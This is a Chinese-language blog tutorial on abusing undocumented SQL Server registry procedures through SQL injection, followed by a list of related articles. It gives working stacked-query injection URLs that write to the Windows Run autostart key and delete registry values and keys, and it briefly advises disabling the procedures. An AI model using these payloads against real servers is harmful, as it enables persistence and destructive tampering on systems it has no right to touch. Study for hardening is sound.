`

SQL Server中未公布的扩展存储过程注入

 
阅读更多

SQL Server中未公布的扩展存储过程注入
很多人也许并不了解,在SQL Server中包含了几个可以访问系统注册表的扩展存储过程。但实际上这几个扩展存储过程都是未公开的,从SQL Server 7.0就有了,在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,

而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们。

假如http://127.0.0.1/view.asp?id=165存在SQL Server的sql注入,我们可以用xp_regwrite写入注册表。

使用方法:


xp_regwrite 根键,子键, 值名, 值类型, 值
http://127.0.0.1/view.asp?id=165; exec
master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion/run','
TestValueName','reg_sz','hello'


注释:值类型有两种REG_SZ 表示字符型,REG_DWORD 表示整型(用xp_regdeletevalue删除某个值)。

使用方法:


xp_regdeletevalue 根键,子键,值名
http://127.0.0.1/view.asp?id=165; exec master.
xp_regdeletevalue 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName'

xp_regdeletekey 删除键,包括该键下所有值


使用方法:


http://127.0.0.1/view.asp?id=165; exec
master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey'

分享到:
评论

相关推荐

    编写安全的SQL Server扩展存储过程

    编写安全的SQL Server扩展存储过程是至关重要的,因为它们在SQL Server的地址空间内运行,直接影响到数据库系统的稳定性和安全性。 扩展存储过程的关键在于理解它们如何与SQL Server的执行环境交互。由于DLL在SQL ...

    SQL 存储过程发送HTTP请求

    - **SQL Server扩展存储过程**:允许使用外部语言编写存储过程,这些外部语言包括C、C++等。`sp_OACreate` 和 `sp_OAMethod` 是两个常用的扩展存储过程,用于创建和操作COM对象。 2. **关键技术点**: - **使用...

    VC Active编写扩展存储过程

    4. **安全性和性能优化**:在扩展存储过程中使用C++需要注意安全性,避免SQL注入等问题。同时,优化存储过程的性能,如减少不必要的数据访问和计算。 5. **调试与测试**:学会在开发环境中调试ActiveX控件,并在SQL...

    VC6.0编写的扩展存储过程

    - 安全性:扩展存储过程可能面临SQL注入等安全风险,因此需要确保输入参数的安全过滤。 - 性能优化:由于在数据库服务器内部运行,扩展存储过程的性能直接影响数据库性能,应尽量减少不必要的计算和I/O操作。 - ...

    php5.6+pdo+sqlserver 扩展dll

    这个描述中的“php5.6使用pdo方式连接sqlserver所使用的扩展dll”正是指的这个特定的DLL文件,它使得PHP能够识别并处理SQL Server的特定命令。 首先,你需要下载适用于PHP 5.6的PDO_SQLSRV扩展。这个扩展通常是以....

    SQL Server中视图,存储过程,注入

    在SQL Server中,视图、存储过程和SQL注入是数据库管理中的重要概念,它们各自扮演着不同的角色,有助于提升数据库的安全性和效率。 一、视图 1. 视图的概念: 视图是从一个或多个表中导出的虚拟表,它不存储实际...

    SQL Server中的存储过程研究.pdf

    在本文中,我们将探讨SQL Server数据库中的存储过程,这是一种子程序,允许数据库管理员和开发者封装一系列的SQL语句,以执行特定的数据库操作任务。存储过程不仅提高了代码的复用性,还能够优化性能,增强数据的...

    [经典详尽:SQL 2005存储过程教程]SQL.Server.2005.Stored.Procedure.Programming

    - 存储过程的分类:包括系统存储过程、用户定义存储过程和扩展存储过程。 - 创建存储过程:使用`CREATE PROCEDURE`语句创建自定义存储过程,包括输入参数、输出参数和返回值。 2. **T-SQL编程** - T-SQL...

    SQL Server下几个危险的扩展存储过程

    然而,这也带来了安全隐患,特别是那些具有较高权限的扩展存储过程,如在描述中提到的,可能会被恶意用户利用进行SQL注入攻击。 SQL注入是一种常见的安全漏洞,攻击者通过输入恶意SQL代码来获取未经授权的数据访问...

    sqlServer的jar包

    这个JAR包是针对SQL Server特定功能的扩展,它提供了对SQL Server特有的特性和功能的支持,如存储过程、事务管理、XML处理、大型对象(LOB)操作等。开发者可以利用这个库来充分利用SQL Server的功能,实现高级的...

    sqlserver驱动

    这个驱动支持各种版本的SQL Server,包括Express、Standard、Enterprise等,并且可以处理事务、执行存储过程、管理连接池等功能。 在Java环境中,JDBC(Java Database Connectivity)驱动是连接SQL Server的标准...

    SQL SERVER 数据库应用技术第09章 存储过程与触发器.ppt

    4. **扩展存储过程**:使用C等外部语言编写,以DLL形式存在于SQL Server中,但已被CLR存储过程所替代,因为后者更安全、更可靠。 5. **系统存储过程**:SQL Server内置的特殊存储过程,用于执行各种管理和维护任务。...

    SQL Server阻止了对组件xp_cmdshell过程的解决方案.docx

    【SQL Server中的xp_cmdshell扩展存储过程】 在SQL Server中,`xp_cmdshell`是一个非常特殊的扩展存储过程,它允许数据库管理员(DBA)在服务器级别执行操作系统命令。这个过程的强大之处在于它能够直接与Windows...

    SQL Server中存储过程与触发器技术的研究与应用.pdf

    5. 扩展存储过程:以“xp_”为前缀,在SQL Server外部执行的DLL文件。 触发器是一种特殊类型的存储过程,通过特定数据库事件(如INSERT、UPDATE或DELETE操作)自动执行。在SQL Server中,触发器分为DML触发器和DDL...

    sql server远程执行cmd命令

    `xp_cmdshell`是SQL Server提供的一种扩展存储过程,允许用户直接执行Windows命令行操作。这个过程在SQL Server中具有较高的权限,因为它可以直接与操作系统交互,因此通常被用于系统维护、数据导入导出等任务。然而...

    数据库技术与应用SQL Server2008 课件 第10章 存储过程.ppt

    3. **扩展存储过程**:允许开发者使用像C这样的外部编程语言编写DLL,然后在SQL Server中作为存储过程运行。这种方式可以实现更复杂的功能,但安全性较低,因为它们在SQL Server的地址空间内运行。 **存储过程的...

    springboot+mybatis+sqlserver

    【标题】"springboot+mybatis+sqlserver"是一个基于Spring Boot、MyBatis和Microsoft SQL Server构建的基础开发框架,适用于快速开发企业级应用。这个框架整合了三个关键组件,旨在简化开发流程,提高开发效率。 ...

    商业编程-源码-《在存储过程中调用外部的动态连接库(MS SQL Server7.0 2000环境)》配套源代码.zip

    本资源涉及的主题是“在存储过程中调用外部的动态连接库”,这是SQL Server扩展功能的一种高级应用,适用于那些需要在数据库层执行复杂计算或调用自定义功能的场景。以下是关于这一主题的详细解释。 首先,存储过程...

Global site tag (gtag.js) - Google Analytics